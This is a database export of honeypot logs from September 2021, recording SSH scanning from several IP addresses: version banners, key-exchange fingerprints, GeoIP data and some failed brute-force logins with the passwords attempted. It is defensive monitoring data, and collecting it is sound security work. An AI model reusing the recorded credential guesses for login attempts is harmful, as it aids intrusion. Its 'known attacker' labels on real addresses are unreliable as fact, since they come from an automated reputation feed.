23341	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:34.831927+03	2021-09-20 14:15:07.382499+03	{"_id": "oAbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42022, "timestamp": "2021-09-20T11:07:34.831927", "@timestamp": "2021-09-20T11:07:34.831Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23342	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.382604+03	2021-09-20 14:15:07.3835+03	{"_id": "oQbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "610ddc6da2e5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:34.382604Z", "@timestamp": "2021-09-20T11:07:34.382Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23343	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.688236+03	2021-09-20 14:15:07.3855+03	{"_id": "ogbjAnwBvYTbRNuEygyN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "610ddc6da2e5", "@version": "1", "timestamp": "2021-09-20T11:07:34.688236Z", "@timestamp": "2021-09-20T11:07:34.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23344	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:34.282298+03	2021-09-20 14:15:07.3865+03	{"_id": "lwbjAnwBvYTbRNuEygyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "509dac389da3", "@version": "1", "timestamp": "2021-09-20T11:07:34.282298Z", "@timestamp": "2021-09-20T11:07:34.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23633	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:40.864472+03	2021-09-20 14:15:07.756504+03	{"_id": "FQbjAnwBvYTbRNuE4g4G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [vpn/vpn123] failed", "session": "b9052ed4dd93", "@version": "1", "password": "vpn123", "username": "vpn", "timestamp": "2021-09-20T11:07:40.864472Z", "@timestamp": "2021-09-20T11:07:40.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23346	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:35.07864+03	2021-09-20 14:15:07.388501+03	{"_id": "qAbjAnwBvYTbRNuEzAz6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1830379425535369, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 54152, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.078640Z", "@timestamp": "2021-09-20T11:07:35.078Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23347	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:35.932853+03	2021-09-20 14:15:07.390506+03	{"_id": "pwbjAnwBvYTbRNuEzAz5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1268043652519386, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7104, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.932853Z", "@timestamp": "2021-09-20T11:07:35.932Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:34.995117+03	2021-09-20 14:15:07.3915+03	{"_id": "wgbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 30558, "timestamp": "2021-09-20T11:07:34.995117", "@timestamp": "2021-09-20T11:07:34.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23349	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:35.910487+03	2021-09-20 14:15:07.3925+03	{"_id": "yQbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:56522 (192.168.176.2:22) [session: 83bf82c52ce8]", "session": "83bf82c52ce8", "@version": "1", "protocol": "ssh", "src_port": 56522, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.910487Z", "@timestamp": "2021-09-20T11:07:35.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23350	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:36.121943+03	2021-09-20 14:15:07.3945+03	{"_id": "ygbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44762 (192.168.176.2:22) [session: eec7c94161cf]", "session": "eec7c94161cf", "@version": "1", "protocol": "ssh", "src_port": 44762, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.121943Z", "@timestamp": "2021-09-20T11:07:36.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23351	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:35.078758+03	2021-09-20 14:15:07.395501+03	{"_id": "xAbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54152, "timestamp": "2021-09-20T11:07:35.078758", "@timestamp": "2021-09-20T11:07:35.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23352	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:07:35.255446+03	2021-09-20 14:15:07.3965+03	{"_id": "xgbjAnwBvYTbRNuEzgx1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 30558, "dest_port": 22, "timestamp": "2021-09-20T11:07:35.255446", "@timestamp": "2021-09-20T11:07:35.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23353	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:35.60268+03	2021-09-20 14:15:07.397501+03	{"_id": "1QbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/Passw0rd61] failed", "session": "46d0f8feaeba", "@version": "1", "password": "Passw0rd61", "username": "root", "timestamp": "2021-09-20T11:07:35.602680Z", "@timestamp": "2021-09-20T11:07:35.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23354	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.661461+03	2021-09-20 14:15:07.398501+03	{"_id": "1gbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b5fcfd69d841", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:35.661461Z", "@timestamp": "2021-09-20T11:07:35.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
